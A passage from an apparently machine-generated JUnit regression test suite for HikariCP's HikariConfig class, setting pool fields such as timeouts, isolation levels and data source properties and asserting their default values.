java.util.Properties properties22 = hikariConfig15.dataSourceProperties;
hikariConfig15.transactionIsolation = (byte) 1;
hikariConfig15.dataSourceClassName = "";
boolean boolean27 = hikariConfig15.isJdbc4connectionTest;
hikariConfig15.setJdbc4ConnectionTest(true);
hikariConfig15.connectionTestQuery = "HikariPool-470";
int int32 = hikariConfig15.acquireRetries;
java.util.Properties properties33 = hikariConfig15.getDataSourceProperties();
hikariConfig9.setDataSourceProperties(properties33);
int int35 = hikariConfig9.getMinimumPoolSize();
java.util.Properties properties37 = null;
com.zaxxer.hikari.HikariConfig hikariConfig38 = new com.zaxxer.hikari.HikariConfig(properties37);
int int39 = hikariConfig38.getTransactionIsolation();
hikariConfig38.setRegisterMbeans(false);
java.lang.String str42 = hikariConfig38.transactionIsolationName;
int int43 = hikariConfig38.transactionIsolation;
int int44 = hikariConfig38.getAcquireRetries();
long long45 = hikariConfig38.getLeakDetectionThreshold();
hikariConfig38.isRegisterMbeans = false;
hikariConfig38.isRegisterMbeans = false;
long long50 = hikariConfig38.maxLifetime;
long long51 = hikariConfig38.getIdleTimeout();
java.util.Properties properties53 = null;
com.zaxxer.hikari.HikariConfig hikariConfig54 = new com.zaxxer.hikari.HikariConfig(properties53);
boolean boolean55 = hikariConfig54.isAutoCommit;
hikariConfig54.poolName = "hi!";
java.lang.String str58 = hikariConfig54.dataSourceClassName;
hikariConfig54.acquireRetries = (short) 10;
long long61 = hikariConfig54.getAcquireRetryDelay();
hikariConfig54.idleTimeout = 97;
boolean boolean64 = hikariConfig54.isRegisterMbeans;
hikariConfig54.acquireRetries = (byte) 10;
hikariConfig38.addDataSourceProperty("HikariPool-1307", (java.lang.Object) (byte) 10);
hikariConfig9.addDataSourceProperty("HikariPool-22719", (java.lang.Object) (byte) 10);
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertNull(dataSource12);
org.junit.Assert.assertNull(str13);
org.junit.Assert.assertTrue("'" + int16 + "' != '" + (-1) + "'", int16 == (-1));
org.junit.Assert.assertNull(str19);
org.junit.Assert.assertTrue("'" + int20 + "' != '" + 60 + "'", int20 == 60);
org.junit.Assert.assertTrue("'" + int21 + "' != '" + (-1) + "'", int21 == (-1));
org.junit.Assert.assertNotNull(properties22);
org.junit.Assert.assertTrue("'" + boolean27 + "' != '" + true + "'", boolean27 == true);
org.junit.Assert.assertTrue("'" + int32 + "' != '" + 3 + "'", int32 == 3);
org.junit.Assert.assertNotNull(properties33);
org.junit.Assert.assertTrue("'" + int35 + "' != '" + 10 + "'", int35 == 10);
org.junit.Assert.assertTrue("'" + int39 + "' != '" + (-1) + "'", int39 == (-1));
org.junit.Assert.assertNull(str42);
org.junit.Assert.assertTrue("'" + int43 + "' != '" + (-1) + "'", int43 == (-1));
org.junit.Assert.assertTrue("'" + int44 + "' != '" + 3 + "'", int44 == 3);
org.junit.Assert.assertTrue("'" + long45 + "' != '" + 0L + "'", long45 == 0L);
// flaky: org.junit.Assert.assertTrue("'" + long50 + "' != '" + 35L + "'", long50 == 35L);
// flaky: org.junit.Assert.assertTrue("'" + long51 + "' != '" + 60L + "'", long51 == 60L);
org.junit.Assert.assertTrue("'" + boolean55 + "' != '" + true + "'", boolean55 == true);
org.junit.Assert.assertNull(str58);
org.junit.Assert.assertTrue("'" + long61 + "' != '" + 0L + "'", long61 == 0L);
org.junit.Assert.assertTrue("'" + boolean64 + "' != '" + false + "'", boolean64 == false);
}
@Test
public void test19461() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19461");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getTransactionIsolation();
hikariConfig1.isRegisterMbeans = false;
boolean boolean9 = hikariConfig1.isRegisterMbeans();
java.lang.String str10 = hikariConfig1.getCatalog();
hikariConfig1.transactionIsolation = 100;
javax.sql.DataSource dataSource13 = hikariConfig1.getDataSource();
hikariConfig1.setLeakDetectionThreshold(97L);
hikariConfig1.connectionTestQuery = "";
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertNull(dataSource13);
}
@Test
public void test19462() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19462");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
boolean boolean3 = hikariConfig1.isJdbc4ConnectionTest();
hikariConfig1.idleTimeout = (byte) 1;
hikariConfig1.isJdbc4connectionTest = true;
hikariConfig1.setDataSourceClassName("HikariPool-173");
java.lang.String str10 = hikariConfig1.catalog;
hikariConfig1.isInitializationFailFast = false;
hikariConfig1.connectionTestQuery = "HikariPool-834";
java.lang.String str15 = hikariConfig1.dataSourceClassName;
int int16 = hikariConfig1.getMinimumPoolSize();
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertTrue("'" + boolean3 + "' != '" + true + "'", boolean3 == true);
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertEquals("'" + str15 + "' != '" + "HikariPool-173" + "'", str15, "HikariPool-173");
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 10 + "'", int16 == 10);
}
@Test
public void test19463() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19463");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
int int7 = hikariConfig1.acquireRetries;
hikariConfig1.setMaxLifetime((long) (-1));
int int10 = hikariConfig1.getTransactionIsolation();
hikariConfig1.maxLifetime = 32L;
hikariConfig1.setIdleTimeout((long) (short) 1);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 3 + "'", int7 == 3);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + (-1) + "'", int10 == (-1));
}
@Test
public void test19464() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19464");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
javax.sql.DataSource dataSource7 = null;
hikariConfig1.dataSource = dataSource7;
java.lang.String str9 = hikariConfig1.getConnectionTestQuery();
long long10 = hikariConfig1.maxLifetime;
hikariConfig1.setPoolName("HikariPool-168");
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer13 = hikariConfig1.connectionCustomizer;
hikariConfig1.maxPoolSize = (short) 100;
boolean boolean16 = hikariConfig1.isRegisterMbeans();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str9);
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 35L + "'", long10 == 35L);
org.junit.Assert.assertNull(iConnectionCustomizer13);
org.junit.Assert.assertTrue("'" + boolean16 + "' != '" + false + "'", boolean16 == false);
}
@Test
public void test19465() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19465");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.setConnectionInitSql("hi!");
int int4 = hikariConfig1.getMinimumPoolSize();
java.util.Properties properties5 = null;
com.zaxxer.hikari.HikariConfig hikariConfig6 = new com.zaxxer.hikari.HikariConfig(properties5);
hikariConfig6.leakDetectionThreshold = 100;
hikariConfig6.minPoolSize = (byte) 1;
hikariConfig6.setRegisterMbeans(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer13 = hikariConfig6.connectionCustomizer;
java.util.Properties properties14 = null;
com.zaxxer.hikari.HikariConfig hikariConfig15 = new com.zaxxer.hikari.HikariConfig(properties14);
int int16 = hikariConfig15.getTransactionIsolation();
hikariConfig15.setRegisterMbeans(false);
hikariConfig15.dataSourceClassName = "";
hikariConfig15.setTransactionIsolation("");
java.util.Properties properties23 = null;
com.zaxxer.hikari.HikariConfig hikariConfig24 = new com.zaxxer.hikari.HikariConfig(properties23);
int int25 = hikariConfig24.getTransactionIsolation();
hikariConfig24.setRegisterMbeans(false);
hikariConfig24.isInitializationFailFast = true;
int int30 = hikariConfig24.acquireRetries;
hikariConfig24.setMaxLifetime((long) (-1));
int int33 = hikariConfig24.getTransactionIsolation();
java.util.Properties properties34 = null;
com.zaxxer.hikari.HikariConfig hikariConfig35 = new com.zaxxer.hikari.HikariConfig(properties34);
int int36 = hikariConfig35.getTransactionIsolation();
hikariConfig35.setRegisterMbeans(false);
java.lang.String str39 = hikariConfig35.transactionIsolationName;
int int40 = hikariConfig35.getMaximumPoolSize();
int int41 = hikariConfig35.transactionIsolation;
java.util.Properties properties42 = hikariConfig35.dataSourceProperties;
hikariConfig24.setDataSourceProperties(properties42);
hikariConfig15.dataSourceProperties = properties42;
com.zaxxer.hikari.HikariConfig hikariConfig45 = new com.zaxxer.hikari.HikariConfig(properties42);
hikariConfig6.dataSourceProperties = properties42;
hikariConfig1.setDataSourceProperties(properties42);
javax.sql.DataSource dataSource48 = null;
hikariConfig1.dataSource = dataSource48;
java.util.Properties properties50 = null;
com.zaxxer.hikari.HikariConfig hikariConfig51 = new com.zaxxer.hikari.HikariConfig(properties50);
boolean boolean52 = hikariConfig51.isAutoCommit;
boolean boolean53 = hikariConfig51.isJdbc4ConnectionTest();
hikariConfig51.idleTimeout = (byte) 1;
java.util.Properties properties56 = null;
com.zaxxer.hikari.HikariConfig hikariConfig57 = new com.zaxxer.hikari.HikariConfig(properties56);
hikariConfig57.leakDetectionThreshold = 100;
java.lang.String str60 = hikariConfig57.connectionTestQuery;
hikariConfig57.setMaximumPoolSize(87);
java.lang.String str63 = hikariConfig57.connectionCustomizerClassName;
java.util.Properties properties64 = null;
com.zaxxer.hikari.HikariConfig hikariConfig65 = new com.zaxxer.hikari.HikariConfig(properties64);
hikariConfig65.setConnectionInitSql("hi!");
long long68 = hikariConfig65.getLeakDetectionThreshold();
java.util.Properties properties69 = null;
com.zaxxer.hikari.HikariConfig hikariConfig70 = new com.zaxxer.hikari.HikariConfig(properties69);
int int71 = hikariConfig70.getTransactionIsolation();
hikariConfig70.setRegisterMbeans(false);
java.lang.String str74 = hikariConfig70.transactionIsolationName;
int int75 = hikariConfig70.getMaximumPoolSize();
int int76 = hikariConfig70.transactionIsolation;
java.util.Properties properties77 = hikariConfig70.dataSourceProperties;
hikariConfig65.dataSourceProperties = properties77;
java.util.Properties properties79 = hikariConfig65.getDataSourceProperties();
hikariConfig57.dataSourceProperties = properties79;
hikariConfig51.setDataSourceProperties(properties79);
hikariConfig1.setDataSourceProperties(properties79);
java.lang.String str83 = hikariConfig1.getConnectionCustomizerClassName();
boolean boolean84 = hikariConfig1.isInitializationFailFast;
org.junit.Assert.assertTrue("'" + int4 + "' != '" + 10 + "'", int4 == 10);
org.junit.Assert.assertNull(iConnectionCustomizer13);
org.junit.Assert.assertTrue("'" + int16 + "' != '" + (-1) + "'", int16 == (-1));
org.junit.Assert.assertTrue("'" + int25 + "' != '" + (-1) + "'", int25 == (-1));
org.junit.Assert.assertTrue("'" + int30 + "' != '" + 3 + "'", int30 == 3);
org.junit.Assert.assertTrue("'" + int33 + "' != '" + (-1) + "'", int33 == (-1));
org.junit.Assert.assertTrue("'" + int36 + "' != '" + (-1) + "'", int36 == (-1));
org.junit.Assert.assertNull(str39);
org.junit.Assert.assertTrue("'" + int40 + "' != '" + 60 + "'", int40 == 60);
org.junit.Assert.assertTrue("'" + int41 + "' != '" + (-1) + "'", int41 == (-1));
org.junit.Assert.assertNotNull(properties42);
org.junit.Assert.assertTrue("'" + boolean52 + "' != '" + true + "'", boolean52 == true);
org.junit.Assert.assertTrue("'" + boolean53 + "' != '" + true + "'", boolean53 == true);
org.junit.Assert.assertNull(str60);
org.junit.Assert.assertNull(str63);
org.junit.Assert.assertTrue("'" + long68 + "' != '" + 0L + "'", long68 == 0L);
org.junit.Assert.assertTrue("'" + int71 + "' != '" + (-1) + "'", int71 == (-1));
org.junit.Assert.assertNull(str74);
org.junit.Assert.assertTrue("'" + int75 + "' != '" + 60 + "'", int75 == 60);
org.junit.Assert.assertTrue("'" + int76 + "' != '" + (-1) + "'", int76 == (-1));
org.junit.Assert.assertNotNull(properties77);
org.junit.Assert.assertNotNull(properties79);
org.junit.Assert.assertNull(str83);
org.junit.Assert.assertTrue("'" + boolean84 + "' != '" + false + "'", boolean84 == false);
}
@Test
public void test19466() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19466");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
long long6 = hikariConfig1.getIdleTimeout();
java.lang.String str7 = hikariConfig1.getCatalog();
java.lang.String str8 = hikariConfig1.getConnectionTestQuery();
java.util.Properties properties9 = null;
com.zaxxer.hikari.HikariConfig hikariConfig10 = new com.zaxxer.hikari.HikariConfig(properties9);
hikariConfig10.dataSourceClassName = "";
java.util.Properties properties13 = hikariConfig10.dataSourceProperties;
hikariConfig1.setDataSourceProperties(properties13);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer15 = hikariConfig1.connectionCustomizer;
javax.sql.DataSource dataSource16 = hikariConfig1.getDataSource();
long long17 = hikariConfig1.getAcquireRetryDelay();
hikariConfig1.setRegisterMbeans(true);
boolean boolean20 = hikariConfig1.isAutoCommit();
boolean boolean21 = hikariConfig1.isRegisterMbeans;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer22 = hikariConfig1.connectionCustomizer;
hikariConfig1.setConnectionTimeout((long) 100);
hikariConfig1.transactionIsolation = (-1);
javax.sql.DataSource dataSource27 = null;
hikariConfig1.dataSource = dataSource27;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 60L + "'", long6 == 60L);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNull(str8);
org.junit.Assert.assertNotNull(properties13);
org.junit.Assert.assertNull(iConnectionCustomizer15);
org.junit.Assert.assertNull(dataSource16);
org.junit.Assert.assertTrue("'" + long17 + "' != '" + 0L + "'", long17 == 0L);
org.junit.Assert.assertTrue("'" + boolean20 + "' != '" + true + "'", boolean20 == true);
org.junit.Assert.assertTrue("'" + boolean21 + "' != '" + true + "'", boolean21 == true);
org.junit.Assert.assertNull(iConnectionCustomizer22);
}
@Test
public void test19467() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19467");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.connectionTimeout = 10L;
hikariConfig1.connectionTestQuery = "HikariPool-104";
int int8 = hikariConfig1.transactionIsolation;
hikariConfig1.setRegisterMbeans(false);
boolean boolean11 = hikariConfig1.isAutoCommit();
boolean boolean12 = hikariConfig1.isJdbc4connectionTest;
java.lang.String str13 = hikariConfig1.getConnectionCustomizerClassName();
java.lang.Class<?> wildcardClass14 = hikariConfig1.getClass();
org.junit.Assert.assertTrue("'" + int8 + "' != '" + (-1) + "'", int8 == (-1));
org.junit.Assert.assertTrue("'" + boolean11 + "' != '" + true + "'", boolean11 == true);
org.junit.Assert.assertTrue("'" + boolean12 + "' != '" + true + "'", boolean12 == true);
org.junit.Assert.assertNull(str13);
org.junit.Assert.assertNotNull(wildcardClass14);
}
@Test
public void test19468() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19468");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
hikariConfig1.setRegisterMbeans(false);
java.lang.String str8 = hikariConfig1.getDataSourceClassName();
hikariConfig1.transactionIsolation = (short) 1;
int int11 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.dataSourceClassName = "HikariPool-344";
java.lang.String str14 = hikariConfig1.getConnectionTestQuery();
boolean boolean15 = hikariConfig1.isJdbc4connectionTest;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str8);
org.junit.Assert.assertTrue("'" + int11 + "' != '" + 60 + "'", int11 == 60);
org.junit.Assert.assertNull(str14);
org.junit.Assert.assertTrue("'" + boolean15 + "' != '" + true + "'", boolean15 == true);
}
@Test
public void test19469() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19469");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
hikariConfig1.maxLifetime = '#';
java.lang.String str11 = hikariConfig1.getConnectionCustomizerClassName();
hikariConfig1.setTransactionIsolation("HikariPool-670");
boolean boolean14 = hikariConfig1.isAutoCommit();
int int15 = hikariConfig1.minPoolSize;
hikariConfig1.setDataSourceClassName("HikariPool-543");
long long18 = hikariConfig1.getIdleTimeout();
// The following exception was thrown during execution in test generation
try {
hikariConfig1.setConnectionTimeout((long) 52);
org.junit.Assert.fail("Expected exception of type java.lang.IllegalArgumentException; message: connectionTimeout cannot be less than 100ms");
} catch (java.lang.IllegalArgumentException e) {
// Expected exception.
}
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(str11);
org.junit.Assert.assertTrue("'" + boolean14 + "' != '" + true + "'", boolean14 == true);
org.junit.Assert.assertTrue("'" + int15 + "' != '" + 10 + "'", int15 == 10);
// flaky: org.junit.Assert.assertTrue("'" + long18 + "' != '" + 60L + "'", long18 == 60L);
}
@Test
public void test19470() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19470");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.connectionTimeout = 10L;
hikariConfig1.connectionTestQuery = "HikariPool-104";
int int8 = hikariConfig1.transactionIsolation;
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.setUseInstrumentation(true);
hikariConfig1.setMaximumPoolSize(0);
int int15 = hikariConfig1.transactionIsolation;
long long16 = hikariConfig1.getConnectionTimeout();
hikariConfig1.catalog = "HikariPool-957";
java.util.Properties properties19 = null;
com.zaxxer.hikari.HikariConfig hikariConfig20 = new com.zaxxer.hikari.HikariConfig(properties19);
int int21 = hikariConfig20.getTransactionIsolation();
hikariConfig20.setRegisterMbeans(false);
hikariConfig20.isInitializationFailFast = true;
hikariConfig20.dataSourceClassName = "HikariPool-249";
long long28 = hikariConfig20.getAcquireRetryDelay();
java.util.Properties properties29 = null;
com.zaxxer.hikari.HikariConfig hikariConfig30 = new com.zaxxer.hikari.HikariConfig(properties29);
hikariConfig30.setConnectionInitSql("hi!");
long long33 = hikariConfig30.getLeakDetectionThreshold();
java.util.Properties properties34 = null;
com.zaxxer.hikari.HikariConfig hikariConfig35 = new com.zaxxer.hikari.HikariConfig(properties34);
int int36 = hikariConfig35.getTransactionIsolation();
hikariConfig35.setRegisterMbeans(false);
java.lang.String str39 = hikariConfig35.transactionIsolationName;
int int40 = hikariConfig35.getMaximumPoolSize();
int int41 = hikariConfig35.transactionIsolation;
java.util.Properties properties42 = hikariConfig35.dataSourceProperties;
hikariConfig30.dataSourceProperties = properties42;
com.zaxxer.hikari.HikariConfig hikariConfig44 = new com.zaxxer.hikari.HikariConfig(properties42);
com.zaxxer.hikari.HikariConfig hikariConfig45 = new com.zaxxer.hikari.HikariConfig(properties42);
hikariConfig20.dataSourceProperties = properties42;
hikariConfig20.isJdbc4connectionTest = false;
java.util.Properties properties49 = null;
com.zaxxer.hikari.HikariConfig hikariConfig50 = new com.zaxxer.hikari.HikariConfig(properties49);
int int51 = hikariConfig50.getTransactionIsolation();
hikariConfig50.setRegisterMbeans(false);
java.lang.String str54 = hikariConfig50.transactionIsolationName;
int int55 = hikariConfig50.getMaximumPoolSize();
int int56 = hikariConfig50.transactionIsolation;
java.util.Properties properties57 = hikariConfig50.dataSourceProperties;
java.util.Properties properties59 = null;
com.zaxxer.hikari.HikariConfig hikariConfig60 = new com.zaxxer.hikari.HikariConfig(properties59);
int int61 = hikariConfig60.getTransactionIsolation();
hikariConfig60.setRegisterMbeans(false);
hikariConfig60.isInitializationFailFast = true;
int int66 = hikariConfig60.acquireRetries;
hikariConfig60.setMaxLifetime((long) (-1));
boolean boolean69 = hikariConfig60.isInitializationFailFast();
long long70 = hikariConfig60.maxLifetime;
hikariConfig60.minPoolSize = (byte) -1;
boolean boolean73 = hikariConfig60.isJdbc4connectionTest;
java.util.Properties properties74 = null;
com.zaxxer.hikari.HikariConfig hikariConfig75 = new com.zaxxer.hikari.HikariConfig(properties74);
int int76 = hikariConfig75.getTransactionIsolation();
hikariConfig75.setRegisterMbeans(false);
java.lang.String str79 = hikariConfig75.transactionIsolationName;
long long80 = hikariConfig75.getIdleTimeout();
java.lang.String str81 = hikariConfig75.getCatalog();
java.lang.String str82 = hikariConfig75.getConnectionTestQuery();
java.util.Properties properties83 = null;
com.zaxxer.hikari.HikariConfig hikariConfig84 = new com.zaxxer.hikari.HikariConfig(properties83);
hikariConfig84.dataSourceClassName = "";
java.util.Properties properties87 = hikariConfig84.dataSourceProperties;
hikariConfig75.setDataSourceProperties(properties87);
hikariConfig60.setDataSourceProperties(properties87);
com.zaxxer.hikari.HikariConfig hikariConfig90 = new com.zaxxer.hikari.HikariConfig(properties87);
hikariConfig50.addDataSourceProperty("HikariPool-235", (java.lang.Object) properties87);
hikariConfig20.dataSourceProperties = properties87;
hikariConfig1.setDataSourceProperties(properties87);
long long94 = hikariConfig1.getConnectionTimeout();
hikariConfig1.catalog = "HikariPool-47081";
org.junit.Assert.assertTrue("'" + int8 + "' != '" + (-1) + "'", int8 == (-1));
org.junit.Assert.assertTrue("'" + int15 + "' != '" + (-1) + "'", int15 == (-1));
org.junit.Assert.assertTrue("'" + long16 + "' != '" + 10L + "'", long16 == 10L);
org.junit.Assert.assertTrue("'" + int21 + "' != '" + (-1) + "'", int21 == (-1));
org.junit.Assert.assertTrue("'" + long28 + "' != '" + 0L + "'", long28 == 0L);
org.junit.Assert.assertTrue("'" + long33 + "' != '" + 0L + "'", long33 == 0L);
org.junit.Assert.assertTrue("'" + int36 + "' != '" + (-1) + "'", int36 == (-1));
org.junit.Assert.assertNull(str39);
org.junit.Assert.assertTrue("'" + int40 + "' != '" + 60 + "'", int40 == 60);
org.junit.Assert.assertTrue("'" + int41 + "' != '" + (-1) + "'", int41 == (-1));
org.junit.Assert.assertNotNull(properties42);
org.junit.Assert.assertTrue("'" + int51 + "' != '" + (-1) + "'", int51 == (-1));
org.junit.Assert.assertNull(str54);
org.junit.Assert.assertTrue("'" + int55 + "' != '" + 60 + "'", int55 == 60);
org.junit.Assert.assertTrue("'" + int56 + "' != '" + (-1) + "'", int56 == (-1));
org.junit.Assert.assertNotNull(properties57);
org.junit.Assert.assertTrue("'" + int61 + "' != '" + (-1) + "'", int61 == (-1));
org.junit.Assert.assertTrue("'" + int66 + "' != '" + 3 + "'", int66 == 3);
org.junit.Assert.assertTrue("'" + boolean69 + "' != '" + true + "'", boolean69 == true);
org.junit.Assert.assertTrue("'" + long70 + "' != '" + (-1L) + "'", long70 == (-1L));
org.junit.Assert.assertTrue("'" + boolean73 + "' != '" + true + "'", boolean73 == true);
org.junit.Assert.assertTrue("'" + int76 + "' != '" + (-1) + "'", int76 == (-1));
org.junit.Assert.assertNull(str79);
// flaky: org.junit.Assert.assertTrue("'" + long80 + "' != '" + 60L + "'", long80 == 60L);
org.junit.Assert.assertNull(str81);
org.junit.Assert.assertNull(str82);
org.junit.Assert.assertNotNull(properties87);
org.junit.Assert.assertTrue("'" + long94 + "' != '" + 10L + "'", long94 == 10L);
}
@Test
public void test19471() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19471");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
hikariConfig1.maxLifetime = '#';
java.lang.String str11 = hikariConfig1.catalog;
java.lang.String str12 = hikariConfig1.getConnectionInitSql();
java.lang.String str13 = hikariConfig1.getDataSourceClassName();
hikariConfig1.connectionTestQuery = "HikariPool-13653";
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(str11);
org.junit.Assert.assertNull(str12);
org.junit.Assert.assertNull(str13);
}
@Test
public void test19472() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19472");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
hikariConfig1.maxLifetime = '#';
int int11 = hikariConfig1.transactionIsolation;
boolean boolean12 = hikariConfig1.isInitializationFailFast();
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertTrue("'" + int11 + "' != '" + (-1) + "'", int11 == (-1));
org.junit.Assert.assertTrue("'" + boolean12 + "' != '" + false + "'", boolean12 == false);
}
@Test
public void test19473() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19473");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
int int8 = hikariConfig1.transactionIsolation;
java.util.Properties properties10 = null;
com.zaxxer.hikari.HikariConfig hikariConfig11 = new com.zaxxer.hikari.HikariConfig(properties10);
hikariConfig11.setConnectionInitSql("hi!");
long long14 = hikariConfig11.getLeakDetectionThreshold();
java.util.Properties properties15 = null;
com.zaxxer.hikari.HikariConfig hikariConfig16 = new com.zaxxer.hikari.HikariConfig(properties15);
int int17 = hikariConfig16.getTransactionIsolation();
hikariConfig16.setRegisterMbeans(false);
java.lang.String str20 = hikariConfig16.transactionIsolationName;
int int21 = hikariConfig16.getMaximumPoolSize();
int int22 = hikariConfig16.transactionIsolation;
java.util.Properties properties23 = hikariConfig16.dataSourceProperties;
hikariConfig11.dataSourceProperties = properties23;
java.util.Properties properties25 = hikariConfig11.getDataSourceProperties();
hikariConfig1.addDataSourceProperty("HikariPool-489", (java.lang.Object) hikariConfig11);
hikariConfig11.setRegisterMbeans(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer29 = hikariConfig11.connectionCustomizer;
long long30 = hikariConfig11.getMaxLifetime();
hikariConfig11.setDataSourceClassName("HikariPool-105");
hikariConfig11.transactionIsolationName = "HikariPool-657";
hikariConfig11.setMaxLifetime(5000L);
java.util.Properties properties37 = null;
com.zaxxer.hikari.HikariConfig hikariConfig38 = new com.zaxxer.hikari.HikariConfig(properties37);
int int39 = hikariConfig38.getTransactionIsolation();
hikariConfig38.setRegisterMbeans(false);
java.lang.String str42 = hikariConfig38.transactionIsolationName;
int int43 = hikariConfig38.getMaximumPoolSize();
